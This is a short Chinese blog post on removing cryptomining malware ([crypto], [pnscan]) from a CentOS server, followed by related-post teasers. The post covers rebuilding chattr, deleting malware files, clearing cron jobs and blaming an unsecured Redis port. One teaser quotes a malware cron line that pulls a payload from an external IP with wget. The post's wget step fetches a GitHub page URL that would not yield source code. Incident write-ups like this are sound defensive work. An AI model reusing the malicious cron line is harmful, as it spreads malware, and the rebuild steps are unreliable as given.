centos清理挖矿病毒[crypto][pnscan]

￡神魔★判官ぃ 2023-01-24 02:22 99阅读 0赞

centos清理挖矿病毒\[crypto\]\[pnscan\]  
  
新买的云服务器cpu占用100%，瞬间想到挖矿木马。  
排查过程如下：  
1、top命令查看进程占用情况，没有发现可疑进程，而且cpu的total used也是正常的，但cpu占用率是100%，显然，木马进程被恶意隐藏了，常规的ps命令肯定找不到。  
2、想到挖矿木马都有一个特点，都会连接到外网，于是执行netstat -anptl命令，但提示没权限，狗日的netstat不能用了  
3、想到使用chattr -i /usr/bin/netstat，但提示没权限，执行lsattr命令后，发现其被赋予了i属性，不可修改  
4、自己重新编译chattr  
wget https://github.com/posborne/linux-programming-interface-exercises/blob/master/15-file-attributes/chattr.c  
gcc chattr.c -o chattr  
rm /usr/bin/chattr  
cp chattr /usr/bin/  
chattr -ia /usr/bin/netstat  
chmod +x /usr/bin/netstat  
发现名为\[crypto\]，\[pnscan\]的进程可疑，查一下它访问的ip地址，发现是美国的，基本就是他了  
whereis crypto  
whereis pnscan  
删掉源文件  
rm usr/local/bin/pnscan  
rm -rf /usr/share/\[crypto\]\*  
  
根据netstat -anptl  
杀掉crypto，pnscan所有进程  
查看定时任务  
crontab -l  
清理所有定时任务  
  
中毒原因分析：  
redis没设置密码，大意了，服务器忘了关闭redis端口了

原文地址[http://www.wityx.com/post/2068\_1\_1.html][http_www.wityx.com_post_2068_1_1.html]

[http_www.wityx.com_post_2068_1_1.html]: http://www.wityx.com/post/2068_1_1.html

发表评论取消回复

表情：

评论列表（有 0 条评论，99人围观）

还没有评论，来说两句吧...

相关阅读

相关 Linux被kdevtmpfsi 挖矿病毒入侵

Linux被kdevtmpfsi挖矿病毒入侵一. 错误信息先上阿里云上的报警信息。有个最大的问题是：top命令查看自己服务器CPU运行情况，会发现kdev

你的名字/ 2023年07月21日 08:52/ 0 赞/ 134 阅读

相关通过限制挖矿病毒cpu占用率来解决挖矿病毒,简单奏效

中了挖矿病毒尝试使用了删除病毒脚本最终无效尝试使用定时任务的方式去处理病毒,发现定时任务被锁定,会自动修改定时任务.看了好多帖子处理这个病毒很是麻烦,下面使用工具进行处

以你之姓@/ 2023年06月27日 11:13/ 0 赞/ 146 阅读

相关处理kdevtmpfsi挖矿病毒

详细的处理过程参考 [https://blog.csdn.net/u014589116/article/details/103705690][https_blog.csdn.

布满荆棘的人生/ 2023年06月25日 10:21/ 0 赞/ 137 阅读

相关 centos清理挖矿病毒[crypto][pnscan]

centos清理挖矿病毒\[crypto\]\[pnscan\] 新买的云服务器cpu占用100%，瞬间想到挖矿木马。排查过程如下： 1、top命令查看进程

￡神魔★判官ぃ/ 2023年01月24日 02:22/ 0 赞/ 100 阅读

相关 linux core病毒挖矿病毒定时器(源码)

根据源码,定向解决问题每天定时下载 @daily wget -O - -q http://146.196.83.217:29324/xxl/coreProc

末蓝、/ 2023年01月19日 11:49/ 0 赞/ 133 阅读

相关服务器中了挖矿病毒怎么办

前言服务器好端端的竟然中了挖矿病毒！！！可怜我那 1 核 2 G 的服务器，又弱又小，却还免除不了被拉去当矿工的命运，实在是惨啊惨。事情原来是这样的。。。就

亦凉/ 2022年12月25日 08:53/ 0 赞/ 342 阅读

相关 kdevtmpfsi挖矿病毒删除

[https://blog.csdn.net/qq\_45186545/article/details/103853601][https_blog.csdn.net_qq_4

喜欢ヅ旅行/ 2022年12月22日 00:52/ 0 赞/ 384 阅读

相关记一次挖矿病毒处置

记一次挖矿病毒处置 CPU一直飙高，但是查看top命令，没有查到使用CPU很高的进程，挖矿病毒pid被隐藏了。 ![watermark_type_ZmFuZ3poZW5

曾经终败给现在/ 2022年12月18日 15:00/ 0 赞/ 392 阅读

相关挖矿病毒xmrig的保守疗法

挖矿病毒xmrig一般在cpu比较闲的时候会触发，并且会占用cpu 99%，造成本机资源极大浪费。在网上搜了半天，没有发现好的解决办法，否则就只能重装操作系统了。

客官°小女子只卖身不卖艺/ 2022年05月24日 11:17/ 0 赞/ 1312 阅读

相关清理 kdevtmpfsi 挖矿进程

检查服务器发现资源被kdevtmpfsi占用，这是挖矿进程，必须清理一下。 1. 检查资源占用最高的进程 top -H / top -c ![waterm

朴灿烈づ我的快乐病毒、/ 2021年09月23日 16:44/ 0 赞/ 789 阅读